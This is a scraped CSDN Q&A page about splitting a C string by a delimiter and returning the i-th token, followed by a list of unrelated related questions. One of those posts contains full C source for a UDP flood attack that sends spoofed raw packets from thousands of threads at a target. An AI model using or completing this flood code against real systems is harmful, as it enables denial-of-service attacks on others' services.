通过一个字符串对指定的字符串进行分割

列如split(char* arc,char a,int i)对arc通过指定的a进行分割,然后再根据i来输出分割后的字符串
arc=“ddd bbbb vvvv nnn”然后a是一个空格,然后i是2,则输出bbbb,要是i是3则输出vvvv,求大神代码附上好好讲解一下

5个回答

如果是 Windows 平台,可以参考如下代码:

 #include <string.h>
#include <stdio.h>

char string[] = "A string\tof ,,tokens\nand some  more tokens";
char seps[]   = " ,\t\n";
char *token;

void main( void )
{
   printf( "%s\n\nTokens:\n", string );
   /* Establish string and get the first token: */
   token = strtok( string, seps );
   while( token != NULL )
   {
      /* While there are tokens in "string" */
      printf( " %s\n", token );
      /* Get next token: */
      token = strtok( NULL, seps );
   }
}
Output
A string   of ,,tokens
and some  more tokens

Tokens:
 A
 string
 of
 tokens
 and
 some
 more
 tokens

arc.split(' ')[i]

有一个split 方法将字符串按照指定字符分割,返回一个字符串数组,应该能满足你的要求

 var s = "ddd bbbb vvvv nnn";

var sp = function(arc, a, i){
  var temp = s.split(a);

  if(temp[i]){
    return temp[i]
  }else{
    return s
  }
}

sp(s," ",1)
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
vb.net的字符分割…怎么才能指定字符去分割我的字符串
“aaa”,“ddd”,“eee,eee,eee,”,“rrr”,123,“” 上面的字符串…怎么分割成下面这个样子…求指教 “aaa” “bbb” “eee,eee,eee,” “rrr” 123 “”
字符串按指定长度分割工具
![图片说明](https://img-ask.csdn.net/upload/201510/14/1444793342_762526.png) 这个图片的工具是什么,有谁知道吗?可以按不定长度分隔字符串的,好像是一个正则的网站。
java如何从一个指定的字符串截取相同格式的子字符串
Hi, 我在做一个Web请假(图表操作形式) 老师通过点击表格列选中,表示这个时间请假。 当老师在一周的表格上点了很多下的时候,Jquery通过样式查找得到 老师选中的时间片ID,形如 (1_1,1_2,1_3,3_3,3_4,3_5)这样一个字符串。 这个形式表示老师星期一,1,2,3节课请假,星期三,3,4,5节课请假。 因为我在数据里要插入2条记录。 所以要把(1_1,1_2,1_3,3_3,3_4,3_5)分割成(1_1,1_2)(3_3,3_4,3_5)这2个字符串。 请问有什么好的算法没有? 我的想法:1.分割成数组all[]遍历,把_前的数字找出来。去掉重复, 放到一个临时数组 pre[]. 2.创建数组temp[pre.length]。 再双重遍历all[]与pre[], 遍历的时候 if(all[i].startWith(pre[j])) temp[j]+=all[i]+"," 3.最后得到的temp[]就是要的结果? 总感觉有点麻烦。求更好的算法.
一道简单的字符串算法题,有空的大虾进来帮忙看看呀~~~
/** * 该方法将传入的字符串 从右往左按照指定的insertNumber值位 插入一个指定的insertChar代表的符号. * * @param str * 需要进行转换的字符串 * @param insertChar * 需要插入的字符 * @param insertNumber * 字符插入的位置 * @return 返回一个插入后的新字符串 举例,如果传入的字符串值为"123909000", * insertChar为">>",insertNumber为4 则返回"1>>2390>>9000" */ public String conver(String str, String insertChar, int insertNumber) { } 题就这个方法,具体需要实现什么,方法注释都写好了。我想了好久都写不出来,用split方法似乎也不行,因为split里的参数必须在该字符串中有,而这题的要求又不是这样。如:逗号进行分割,分割的条件是3位。例如:1234分割后位1,234 ~~~~ 如:@进行分割,分割的条件是3位。例如:1234分割后位1@234, ~~~~ 感觉好像是往字符里追加符号,实在做不出来了。麻烦哪位帮忙解答下。谢谢啊,十分感谢~~~~分不多。。。请帮个忙~~~
java 中将一个字符串由 ";" " ," "=" 号 拆分并存入二维数组中
下面是我写的错误代码, 正确的返回值应该是 这种格式 [0][10] [1][15] [2][20] [3][30] [4][40] 谢谢 ``` @Override public String[][] getChartdtlsSplit(BasicChart basicChart) {//String[][]代表多维数组了.[][],可以理解为几行几列了.类型为String的. //String value = basicChart.getChartname(); String value = "a=10,ab=15;b=20,bc=30;c=40;"; //以 ; 与 = 进行拆分 String[] temp = value.split(";"); // 通过分号将字符串拆分成一维数组{"a=10";"ab=15";"B=20"} String[][] arr = new String[temp.length][];// 初始化一个二维字符串数组,只指定了行数 for (int i = 0; i < temp.length; i++) { String[] tempAgain = temp[i].split(",|="); //继续分割并存到另一个一临时的一维数组当中 arr[i] = new String[tempAgain.length]; //根据tempAgain中的数组长度,为二维数组的列赋值 for (int j = 0; j < tempAgain.length; j++) { // [a][10] arr[i][j] = tempAgain[j]; //为二维数组赋值 } } return arr; //最后返回二维数组,[0][10] [1][15] [2][20] [3][30] [4][40] } ```
编写一个程序,要求如下:
从标准输入读取一个字符串,存入一个动态分配的字符数组中。如何处理变长输入。(C++)是书上动态内存这一章的习题,所以指定用数组解。
用Python凯撒密码。。。。。。
【问题描述】 凯撒密码是古罗马凯撒大帝用来保护重要军情的加密系统。这套密码系统在现在看来很低级,但是在古罗马时期还是发挥了重要作用的。 凯撒密码的根本思想是按照字母表排列顺序将明文中每个字母变换成其后第n个字母。这里,n(n=1~25)被称作秘钥。 请编写程序,针对不同的输入字符串和移动位数,输出经过凯撒加密之后的字符串。 【输入形式】 第一个输入参数是移动的位数n,中间间隔一个空格之后,第二个输入参数是待加密的原文字符串 【输出形式】 加密后的密文字符串。注意,只加密字母,且不改变字母大小写。待加密的字符串可能存在比如"hello world"的形式,若与第一个参数一起以input的方式输入,在调用split()的时候要注意,会将待加密字符串也一并分割了。split()方法有参数指定分割多少项,建议采用,请上网搜索说明文档。 【样例输入】 5 NUDT 【样例输出】 SZIY 【样例说明】 输入参数中第一个参数'5'表示移动位数n=5,然后将第二个输入参数中每个字母都向后移动5位,得到输出字符串。
TypeError: unhashable type: 'list' 错误怎么处理
联系泰坦尼克号生存率项目时,对头衔进行one-hot编码但是出现TypeError: unhashable type: 'list' 具体代码如下/ #姓名 :使用split分割字符串,提取出头衔 def gettitle(name): str1=name.split(',')[1] str2=str1.split('.')[0] str3=str2.split()#去除字符串前后的指定字符(默认为空格) return str3 titleDF=pd.DataFrame() titleDF['title']=full['Name'].map(gettitle) titleDF['title'].value_counts()#显示不同类别的头衔并计数 #头衔进行one-hot编码 titleDF=pd.get_dummies(titleDF['title']) 求解答,已被折磨的身心俱疲
求大神帮帮小女子啊!!如何将系统时间显示在CEdit控件里。
我用的单文档,想在一个分割视图CEditEx类中显示系统时间,这段代码不是我写的,我想在上面加几句然后把这个时间显示出来。怎么做?注释是我查的,我是个菜鸟啊!!pEdit是头文件中定义的一个CEdit类的一个指针。求大神帮忙啊,急啊!! void CEditEx::PrintOperateMessag(CString str)//***加入日期和时间字符串,写入文本编辑控件????? { CString strPrintMessage;//*********CString 数据类型方便字符串的连接 strPrintMessage.Empty();//**使字符串为空 CTime tm; //*****把日期和时间转换为字符串 tm=CTime::GetCurrentTime();//********************获取系统当前日期和时间。返回表示当前日期和时间的CTime对象。 strPrintMessage=tm.Format("%X ");//调用这个成员函数来创建一个格式化日期/时间值的表示 strPrintMessage+=str; strPrintMessage+="\r\n"; pEdit->SetSel(-1,-1); //将插入光标放在最后 ----调用这个函数在一个编辑控件中选择一定范围的字符。(-1,-1)任何当前选定内容被去掉选定状态。???? pEdit->ReplaceSel(strPrintMessage); //填入内容---调用这个函数来代替当前的选择在一个与lpszNewText指定的文本编辑控件中 pEdit->LineScroll(pEdit->GetLineCount(),0); //滚动到插入点--调用这个函数来滚动multiple-line编辑控件的文本。--调用这个函数检索行数 }
异步方式串口 死循环读取线程 如何退出?
用VC2015写了一个SDI程序,在app类的InitInstance()函数总,开启了一个串口读指令线程(异步方式)。对于串口的操作,比如读、写、配置、清理缓存等等,全部封装在了一个DLL中。 读线程中,用一个BOOL型的开关变量制造了一个死循环,以便实时接收串口收到的数据。同时,也希望在需要终止该线程的时候,将开关量置反,结束死循环。 已知:读指令函数中,会持续监测串口事件,当检测到有数据时,即读取数据。完整数据的读取,是通过GetOverlappedResult函数实现的。 现在的问题是:要关闭进程了(点击文件菜单上的“退出”),在APP类的ExitInstance()函数中置反上述开关量,并且用PurgeComm 刷新串口(使用了PURGE_TXABORT 、PURGE_RXABORT、PURGE_TXCLEAR、PURGE_RXCLEAR四个组合值作为该函数的参数),希望产生串口事件,使待函数WaitCommEvent能够返回,进而在再次循环的时候,对开关量进行判断,因为该开关量已经置反,从而达到结束循环,退出退出线程的目的。 奇怪的是:PurgeComm函数,总是返回不成功,读线程始终结束不了。 本人为新手,不懂的太多,还望高手给与指点!非常感谢! 读线程代码如下: ``` ////worker thread.to receive instruction from control board./////// typedef CString(*FuncReceiveFromBoard)(HANDLE, char*); //int panelFlushSerialPort(HANDLE h) typedef int(*FuncFlush232)(HANDLE); FuncReceiveFromBoard ReceiveFromBoard; FuncFlush232 Flush232; HINSTANCE hDll_232DLL_RE; char* pbufcmd = nullptr; UINT ReceiveInstructionFromBoard(LPVOID pParam) { CDEMODVView *pDemoView1 = (CDEMODVView *)pParam; pbufcmd=nullptr; pbufcmd = (char *)malloc(sizeof(char)*253); //分配内存 memset(pbufcmd, 0, 253); //将分配给pcmbuf的内存初始化为0 if (theApp.communi_state == FALSE) //说明232串口没有配置好或者没有打开 return 1; else { ReceiveFromBoard = (FuncReceiveFromBoard)GetProcAddress(theApp.hDll_232com, "panelReceiveCmdFromCBoard"); //获取函数theApp.hDll_232com Flush232 = (FuncFlush232)GetProcAddress(theApp.hDll_232com, "panelFlushSerialPort"); if (!ReceiveFromBoard|| !Flush232) { AfxMessageBox(_T("获取函数失败")); return 1; } else { CString resStrFromB; //接收指令字符串 while (theApp.m_threadrunning==TRUE) { AfxMessageBox(_T("I am going")); resStrFromB = ReceiveFromBoard(theApp.hDleopen, pbufcmd); //用DLL中接收函数得到指令字符串给resStrFromB if (resStrFromB !=_T(""))// { pDemoView1->m_strInstruction2Recive = resStrFromB; pDemoView1->SendMessage(WM_INSTRUCTION_RECEIVE); //给VIEW类发送接收到字符串的消息 resStrFromB = _T(""); Flush232(theApp.hDleopen); //Sleep(4000); } } // 设置线程等待函数已经退出循环,可以结束的标志; theApp.m_threadstop = TRUE; } } free(pbufcmd); pbufcmd = nullptr; return 0; } ``` 前述封装的对串口操作的DLL中,关于读文件的部分,代码如下: ``` DWORD __stdcall ReadCmdSerialPort(HANDLE h, char * const pszBuf, DWORD bufSize, DWORD *dwSize, DWORD *dwEventMask) { DWORD error = ERROR_SUCCESS; memset(&overread, 0, sizeof(OVERLAPPED)); overread.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); //创建overlapped事件:句柄不能被继承,人工重置事件,初始状态为无信号,匿名事件 DWORD dwError; COMSTAT comstat; ClearCommError(h, &dwError, &comstat); //清除端口错误 if (!SetCommMask(h, EV_BREAK | EV_ERR | EV_RXCHAR | EV_RXFLAG)) /* Setting Event Type */ { /*printf("$\n");*/ return ::GetLastError(); } if (!WaitCommEvent(h, dwEventMask, &overread)) /* Waiting For Event to Occur */ { DWORD dwIncommingReadSize; if (GetLastError() == ERROR_IO_PENDING) { GetOverlappedResult(h, &overread, &dwIncommingReadSize, TRUE); // 等待异步操作结束后才返回到应用程序,此时,GetOverlappedResult函数与WaitForSingleObject函数等效 switch (*dwEventMask) { case EV_BREAK: _snprintf_s(pszBuf, bufSize, _TRUNCATE, "BREAK received"); /*printf("*\n");*/ return error; break; case EV_ERR: _snprintf_s(pszBuf, bufSize, _TRUNCATE, "Line status error occurred"); /*printf("&\n");*/ return error; break; case EV_RXFLAG: return error; break; case EV_RXCHAR: { char szBuf; //DWORD dwIncommingReadSize; *dwSize = 0; unsigned int ndx = 0; do { // 读取数据:指定读取的字节数为1,dwIncommingReadSize:读到的字节数;异步读取 if (ReadFile(h, &szBuf, 1, &dwIncommingReadSize, &overread) != 0) // { if (dwIncommingReadSize > 0) { *dwSize += dwIncommingReadSize; if (ndx < bufSize - 1) { pszBuf[ndx] = szBuf; ndx += dwIncommingReadSize; } } } else { break; } } while (dwIncommingReadSize > 0); ResetEvent(overread.hEvent);// 释放事件句柄 return error; break; } default: _snprintf_s(pszBuf, bufSize, _TRUNCATE, "unknown COMM event"); return error; break; } ResetEvent(overread.hEvent);// 释放事件句柄 } else { return ::GetLastError(); } } } ```
初学者有关IO流统计成绩到另一个文件的问题
编写一个程序RecordScore.java用来记录某课程的成绩,要求从键盘输入学生姓名和成绩,每行输入一个学生的成绩,输入end#表示输入结束。程序要统计出课程的平均成绩,并将输入的学生成绩和平均成绩保存到soor.txt文件。(提示:字符串的方法 split(" ")可以返回字符串中以空格分割的字符串数组。如str="张三 80";String[] s= str.split(" ");则s[0]="张三",s[1]="80") 题目部分图片 ![图片说明](https://img-ask.csdn.net/upload/201605/11/1462959882_554426.jpg) 自己写的代码如下 package IOlianxi; import java.io.*; import java.util.*; public class RecordScore { public static void main(String[] args) { try { InputStreamReader str=new InputStreamReader(System.in); BufferedReader br=new BufferedReader(str); BufferedWriter bw=new BufferedWriter(new FileWriter("E://soore.txt")); String st=null; String[] s=st.split(""); while(!(st=br.readLine()).equals("quit")){ bw.write(s); bw.newLine(); } br.close(); bw.close(); }catch (ArrayIndexOutOfBoundsException e){ System.out.println("没有指定文件"); }catch (Exception e) { e.printStackTrace(); } } } 但是这个代码是错的,好像不能方数组,这里报错后面都不知道怎么写了 ![图片说明](https://img-ask.csdn.net/upload/201605/11/1462959999_731411.jpg)、 都不知道怎么写了,求大神
C++哈夫曼编码译码器设计与实现并对哈夫曼树进行先序遍历。
现在就是差一个先序遍历的要求没有做到 ``` #include<stdio.h> #include<string.h> #include<stdlib.h> //树结点定义 typedef struct { int weight; int parent; int lchild; int rchild; }HTNode,*HuffmanTree; static char N[100];//用于保存正文 //哈弗曼编码,char型二级指针 typedef char **HuffmanCode; //封装最小权结点和次小权结点 typedef struct { int s1; int s2; }MinCode; //函数声明 void Error(char *message); HuffmanCode HuffmanCoding(HuffmanTree &HT,HuffmanCode HC,int *w,int n); MinCode Select(HuffmanTree HT,int n); //当输入1个结点时的错误提示 void Error(char *message) { fprintf(stderr,"Error:%s\n",message); //根据指定的格式,向输出流写入数据 exit(1); } //构造哈夫曼树HT,编码存放在HC中,w为权值,n为结点个数 HuffmanCode HuffmanCoding(HuffmanTree &HT,HuffmanCode HC,int *w,int n) { int i,s1=0,s2=0; HuffmanTree p; char *cd; int f,c,start,m; MinCode min; if(n<=1) { Error("Code too small!");//只有一个结点不进行编码,直接exit(1)退出。 } m=2*n-1;//哈弗曼编码需要开辟的结点大小为2n-1 HT=(HuffmanTree)malloc((m+1)*sizeof(HTNode));//开辟哈夫曼树结点空间 m+1 ,动态内存分配。 //初始化n个叶子结点,w[0] = 0,main函数已赋值 for(p=HT,i=0;i<=n;i++,p++,w++) { p->weight=*w; p->parent=0; p->lchild=0; p->rchild=0; } //将n-1个非叶子结点的初始化 for(;i<=m;i++,p++) { p->weight=0; p->parent=0; p->lchild=0; p->rchild=0; } //构造哈夫曼树 for(i=n+1;i<=m;i++) { min=Select(HT,i-1);//找出最小和次小的两个结点 s1=min.s1 ; //最小结点下标 s2=min.s2;//次小结点下标 HT[s1].parent=i; HT[s2].parent=i; HT[i].lchild=s1; HT[i].rchild=s2; HT[i].weight=HT[s1].weight+HT[s2].weight; } //打印哈弗曼树 printf("HT List:\n"); printf("Number\t\tweight\t\tparent\t\tlchild\t\trchild\n"); for(i=1;i<=m;i++) { printf("%d\t\t%d\t\t%d\t\t%d\t\t%d\t\n",i,HT[i].weight,HT[i].parent,HT[i].lchild,HT[i].rchild); } //从叶子结点到根节点求每个字符的哈弗曼编码 HC=(HuffmanCode)malloc((n+1)*sizeof(char *)); cd=(char *)malloc(n*sizeof(char *));//为哈弗曼编码动态分配空间 cd[n-1]='\0';//如:3个结点编码最长为2。cd[3-1] = '\0'; //求叶子结点的哈弗曼编码 for(i=1;i<=n;i++) { start=n-1; //定义左子树为0,右子树为1 /* 从最下面的1号节点开始往顶部编码(逆序存放),然后编码2号节点,3号...... */ for(c=i,f=HT[i].parent; f!=0; c=f,f=HT[f].parent) { if(HT[f].lchild==c) cd[--start]='0'; else cd[--start]='1'; } //为第i个字符分配编码空间 HC[i]=(char *)malloc((n-start)*sizeof(char *)); //将当前求出结点的哈弗曼编码复制到HC strcpy(HC[i],&cd[start]); } free(cd); return HC; } MinCode Select(HuffmanTree HT,int n) { int min,secmin; int temp = 0; int i,s1,s2,tempi = 0; MinCode code ; s1=1; s2=1; min = 9999; //找出权值最小的结点,下标保存在s1中 for(i=1;i<=n;i++) { if(HT[i].weight<min && HT[i].parent==0) { min=HT[i].weight; s1=i; } } secmin = 9999; //找出权值次小的结点,下标保存在s2中 for(i=1;i<=n;i++) { if((HT[i].weight<secmin) && (i!=s1) && HT[i].parent==0) { secmin=HT[i].weight; s2=i; } } //放进封装中 code.s1=s1; code.s2=s2; return code; } void HuffmanTranslateCoding(HuffmanTree HT, int n,char* ch) {//译码过程 int m=2*n-1; int i,j=0; printf("After Translation:"); while(ch[j]!='\0')//ch[]:你输入的要译码的0101010串 { i=m; while(0 != HT[i].lchild && 0 != HT[i].rchild)//从顶部找到最下面 { if('0' == ch[j])//0 往左子树走 { i=HT[i].lchild; } else//1 往右子树走 { i=HT[i].rchild; } ++j;//下一个路径 } printf("%c",N[i-1]);//打印出来 } printf("\n"); } void main() { HuffmanTree HT=NULL; HuffmanCode HC=NULL; int *w=NULL; int i,n; char tran[100]; printf("Input N(char):"); gets(N); fflush(stdin); n = strlen(N); w=(int *)malloc((n+1)*sizeof(int *));//开辟n+1个长度的int指针空间 w[0]=0; printf("Enter weight:\n"); //输入结点权值 for(i=1;i<=n;i++) { printf("w[%d]=",i); scanf("%d",&w[i]); } fflush(stdin); //清空输入缓冲区 //构造哈夫曼树HT,编码存放在HC中,w为权值,n为结点个数 HC=HuffmanCoding(HT,HC,w,n); //输出哈弗曼编码 printf("HuffmanCode:\n"); printf("Number\t\tWeight\t\tCode\n"); for(i=1;i<=n;i++) { printf("%c\t\t%d\t\t%s\n",N[i-1],w[i],HC[i]); } fflush(stdin); //译码过程 printf("Input HuffmanTranslateCoding:"); gets(tran); HuffmanTranslateCoding(HT, n, tran); return; } ```题目要求:九、哈夫曼编码译码器设计与实现 编写程序设计哈夫曼编码译码器。 (1)根据输入的权值建立哈夫曼树。 (2)对建立好的哈夫曼树进行先序遍历。 (3)利用建好的哈夫曼树生成哈夫曼编码,并显示生成的各字符的哈夫曼编码。 (4)根据输入的字符进行译码。 (5)显示功能:以先序遍历的顺序显示建立好的哈夫曼树。显示哈夫曼编码和译码的结果。
机器学习中例子 可能因为python3出现错误 求指导
![图片说明](https://img-ask.csdn.net/upload/201610/20/1476967374_667914.png) 附代码 ``` from numpy import * import operator import matplotlib import matplotlib.pyplot as plt def file2matrix(filename): fr = open(filename) arrayOLines = fr.readlines() #逐行读取文件 numberOfLines = len(arrayOLines) #获取文件的行数 returnMat = zeros((numberOfLines,3)) #创建一个矩阵 classLabelVector = [] index = 0 for line in arrayOLines: line = line.strip() #删除所有换行符 listFromLine = line.split('\t') #通过指定分割符对字符串切分 returnMat[index,:]=listFromLine[0:3] classLabelVector.append((listFromLine[-1])) index+=1 return returnMat,classLabelVector datingDataMat,datingLabels = file2matrix('datingTestSet.txt') #print(datingDataMat,datingLabels) fig = plt.figure() ax = fig.add_subplot(111) ''' ''按照列进行划分 ''' ax.scatter(datingDataMat[:,1],datingDataMat[:,2],15.0*array(datingLabels),15.0*array(datingLabels)) plt.show() ``` 错误提示 'multiply' did not contain a loop with signature matching types dtype('<U32') dtype('<U32') dtype('<U32')
udp洪水攻击照着别人的视频敲了以后出现transport endpoint is not connected和 Invalid argument怎么解决这个问题?
```#include<stdio.h> #include<stdlib.h> #include<string.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<netinet/ip.h> #include<netinet/udp.h> #include<arpa/inet.h> #include<signal.h> #include<pthread.h> #include<unistd.h> #define MAX 10240 int sockfd=-1; int flag=1; int send_udp_dos(int connfd,struct sockaddr_in *paddr); void handler(int signo) { printf("捕捉到信号:%d\n",signo); flag=0; } void *fun(void *arg) { struct sockaddr_in *addr=arg; while(flag) { send_udp_dos(sockfd,addr); } pthread_exit(NULL); } //计算16位UDP校验和 unsigned short checksum(unsigned char *buf, int len) { unsigned int sum = 0; unsigned short *cbuf; cbuf = (unsigned short *)buf; while(len > 1) { sum += *cbuf++; len -= 2; //剩余尚未累加的16比特的个数 } if(len) //若len的长度不是偶数 sum += *(unsigned char *)cbuf; //用最后一个字节补齐 //防溢出处理 sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } //组织UDP数据包 int send_udp_dos(int connfd, struct sockaddr_in *paddr) { int len = 0; int ret = -1; char *packet = NULL; char *data = NULL; struct ip *ipheader = NULL; struct udphdr *udpheader = NULL; //分配空间 IP首 部 + UDP首部 + 数据(64) len = sizeof(struct ip) + sizeof(struct udphdr) + 64; packet = malloc(len); if (NULL == packet) { printf("malloc failed...\n"); return 1; } //内存清零 memset(packet, 0, len); //第一部分: IP首部 ipheader = (struct ip*)packet; //第二部分: UDP首部 udpheader = (struct udphdr*)(packet + sizeof(struct ip)); //第三部分:数据 data = packet + sizeof(struct ip) + sizeof(struct udphdr); //封装IP协议 //协议的版本 IPv4 ipheader->ip_v = 4; //首部长度 20字节 20 / 4 = 5 ipheader->ip_hl = 5; //区分服务 暂时没有使用 ipheader->ip_tos = 0; //总长度 转化为网路序 ipheader->ip_len = htons(len); //标识 随机 ipheader->ip_id = random() % 1024; //标志 + 片偏移 ipheader->ip_off = 0; //生存时间 随机指定64 ipheader->ip_ttl = 64; //协议 ipheader->ip_p = IPPROTO_UDP; //首部校验和 暂时填写0 ipheader->ip_sum = 0; ipheader->ip_sum = checksum((unsigned char *)ipheader, sizeof(struct ip)); //随机源地址 ipheader->ip_src.s_addr = random() % 1000; //目的地址 参数paddr传递进来的 ipheader->ip_dst = paddr->sin_addr; //封装UDP协议 //随机端口 保证每一次发送数据端口不一样 udpheader->uh_sport = 1024 + random() % 100; //目的端口 udpheader->uh_dport = paddr->sin_port; //长度 UDP首部 + 数据 udpheader->uh_ulen = htons(sizeof(struct udphdr) + 64); //校验和 udpheader->uh_sum = 0; udpheader->uh_sum = checksum((unsigned char *)udpheader, sizeof(struct udphdr) + 64); //填充数据 strcpy(data, "B17070316"); //发送数据 (vim) //第一个参数: 套接字 //第二个参数: 发送数据 //第三个参数: 发送数据长度 //第四个参数: 标志 //第五个参数: 服务端addr结构 //第六个参数: sizeof(struct sockaddr_in) ret = sendto(connfd, packet, len, 0, (void*)paddr, sizeof(struct sockaddr_in)); if (ret <= 0) { perror("sendto"); return -1; } printf("ret: %d\n", ret); //释放内存 free(packet); } //UDP洪水攻击 int main(int argc, char **argv) { int i = 0; int ret = -1; int on = -1; //保存线程tid 线程号 pthread_t tid[MAX]; //填写服务端信息 struct sockaddr_in addr; //0. 参数检查 //argv[0] 可执行文件 //argv[1]: IP //argv[2]: 端口 if (3 != argc) { printf("usaage: ./a.out IP port\n"); return 1; } //注册信号 软件中断 //第一个参数: 信号编号 SIGINT Ctrl + C 产生 //第二个参数: 信号处理函数 用户按下Ctrl + C 就会调用回调函数handler signal(SIGINT, handler); //1. 创建套接字 UDP sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if (-1 == sockfd) { //输出出错原因 perror("socket"); return 1; } printf("sockfd = %d\n", sockfd); //设置自己封装IP on = 1; //表示使能 ret = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); if (-1 == ret) { perror("setsockopt"); return -1; } //2. 初始化结构体 //服务端IP + 服务端端口 //man 7 ip memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; //ipv4 //将字符串转化为int类型 "123"--> 123 addr.sin_port = htons(atoi(argv[2])); //填充IP 192.168.12.88 //字符串IP转化为大端模式的IP inet_pton(AF_INET, argv[1], (void*)&addr.sin_addr); printf("攻击的服务器IP: %s 端口: %s\n", argv[1], argv[2]); #if 1 //循环创建线程 for (i = 0; i < MAX; i++) { //第一个参数:传出线程号 //第二个参数:线程属性 默认即可 NULL: //第三个参数:线程处理函数 线程启动之后执行函数 //第四个参数:传递给线程处理函数的参数 pthread_create(&tid[i], NULL, fun, (void*)&addr); } //等待所有的线程退出 for (i = 0; i < MAX; i++) { //第一个参数: 线程ID //第二个参数: 传出线程退出状态 pthread_join(tid[i], NULL); } #else //3. 循环发送数据 while(1) { send_udp_dos(sockfd, &addr); } #endif //4. 关闭文件描述符 close(sockfd); return 0; } ``` ``` ```
ASCII 怎么转换成 byte [] b ={ 0x52 ,0x65}
我把R这个ASCII码转变成16进制的编码之后为 52 ,但是现在我想要把这个52 转换成0x52 并且,把这个0x52 放到byte[] 数组中, 最终形成这种样式 byte[] b = { 0x52 ,0x63}这种样式。求大神给出方案。 我看过一个博客有如下方法,但是他得出的答案根本就跟他注释描述的 完全不一样,不知道为什么还好多人转载,也不知道谁是最初的作者,我就是想要 达到他注释里面描述的那种一样 ``` /** * 将两个ASCII字符合成一个字节; 如:"EF"–> 0xEF * * @param src0 * byte * @param src1 * byte * @return byte */ public static byte uniteBytes(byte src0, byte src1) { byte _b0 = Byte.decode("0x" + new String(new byte[] {src0})).byteValue(); _b0 = (byte) (_b0 << 4); byte _b1 = Byte.decode("0x" + new String(new byte[] { src1 })).byteValue(); byte ret = (byte) (_b0 ^ _b1); return ret; } /** * 将指定字符串src,以每两个字符分割转换为16进制形式 如:"2B44EFD9" –> byte[]{0x2B, 0×44, 0xEF, * 0xD9} * * @param src * String * @return byte[] */ public static byte[] HexString2Bytes(String src) { if (null == src || 0 == src.length()) { return null; } byte[] ret = new byte[src.length() / 2]; byte[] tmp = src.getBytes(); for (int i = 0; i < (tmp.length / 2); i++) { ret[i] = uniteBytes(tmp[i * 2], tmp[i * 2 + 1]); } return ret; } ``` 其实就一个需求: 将两个ASCII字符合成一个字节; 如:"EF"–> 0xEF
php qq第三方登录获取不到AccessToken的值,
$grant_type = 'authorization_code';//必须 授权类型,在本步骤中,此值为“authorization_code”。 $client_id = $this->appId;//必须 申请QQ登录成功后,分配给网站的appid。 $client_secret = $this->appKey;//必须 申请QQ登录成功后,分配给网站的appkey。 $code = $code;//必须 上一步返回的authorization code。如果用户成功登录并授权,则会跳转到指定的回调地址,并在URL中带上Authorization Code。例如,回调地址为www.qq.com/my.php,则跳转到:http://www.qq.com/my.php?code=520DD95263C1CFEA087******注意此code会在10分钟内过期。 $redirect_uri = 'http://m.lawtoutiao.com/';//必须 与上面一步中传入的redirect_uri保持一致。 $redirect_uri = urlencode($redirect_uri); $request_url = "https://graph.qq.com/oauth2.0/token?grant_type=$grant_type&client_id=$client_id&client_secret=$client_secret&code=$code&redirect_uri=$redirect_uri"; $response = urldecode($request_url); $params = array(); parse_str($response, $params);//把字符串解析到变量里面 $access_token = $params['access_token']; echo $access_token; 我这个$access_token没有值怎么办 求各位大神帮帮忙
OpenCV3.4.1+VS2017人脸识别Ptr<EigenFaceRecognizer> model = EigenFaceRecognizer::create ()无法解析
``` #include<iostream> #include <opencv2\opencv.hpp> #include <fstream> #include <sstream> #include <opencv2\face\facerec.hpp> #include <windows.h> #include <direct.h> using namespace cv; using namespace std; using namespace face; CascadeClassifier face_cascades; void read_csv(const string& filename, vector<Mat>& images, vector<int>& labels, char separator = ';') { std::ifstream file(filename, ifstream::in);//c_str()函数可用可不用,无需返回一个标准C类型的字符串 if (!file) { string error_message = "No valid input file was given, please check the given filename."; CV_Error(CV_StsBadArg, error_message); } else { cout << "first ok !" << endl; } string line, path, classlabel; int i = 1; while (getline(file, line))//从文本文件中读取一行字符,未指定限定符默认限定符为“/n” { stringstream liness(line);//这里采用stringstream主要作用是做字符串的分割 getline(liness, path, separator);//读入图片文件路径以分好作为限定符 getline(liness, classlabel);//读入图片标签,默认限定符 if (!path.empty() && !classlabel.empty())//如果读取成功,则将图片和对应标签压入对应容器中 { cout << "second ok!" << i << endl; images.push_back(imread(path, 0)); labels.push_back(atoi(classlabel.c_str())); i++; } } } int main() { String csvPath = "E:\\ORL\\at.txt"; vector<Mat> images; vector<int> labels; read_csv(csvPath, images, labels); //imshow("as", images); imshow("fsed", labels); cout << labels.size() << endl; Ptr<EigenFaceRecognizer> model = EigenFaceRecognizer::create (); //Ptr < BasicFaceRecognizer > model = EigenFaceRecognizer::create(); model->train(images, labels); model->save("E:\\ORL\\PCA_Model.xml"); waitKey(0); system("pause"); return 0; } ``` 运行后两个错误 第一个错误 LNK1120 1 个无法解析的外部命令 Project3 E:\OpenCV project\Project3\x64\Debug\Project3.exe 1 严重性 代码 说明 项目 文件 行 禁止显示状态 第二错误 LNK2019 无法解析的外部符号 "public: static struct cv::Ptr<class cv::face::EigenFaceRecognizer> __cdecl cv::face::EigenFaceRecognizer::create(int,double)" (?create@EigenFaceRecognizer@face@cv@@SA?AU?$Ptr@VEigenFaceRecognizer@face@cv@@@3@HN@Z),该符号在函数 main 中被引用 Project3 E:\OpenCV project\Project3\Project3\源.obj 1
ajax遇到的一个奇葩问题,为了这个我掉了100根头发了....
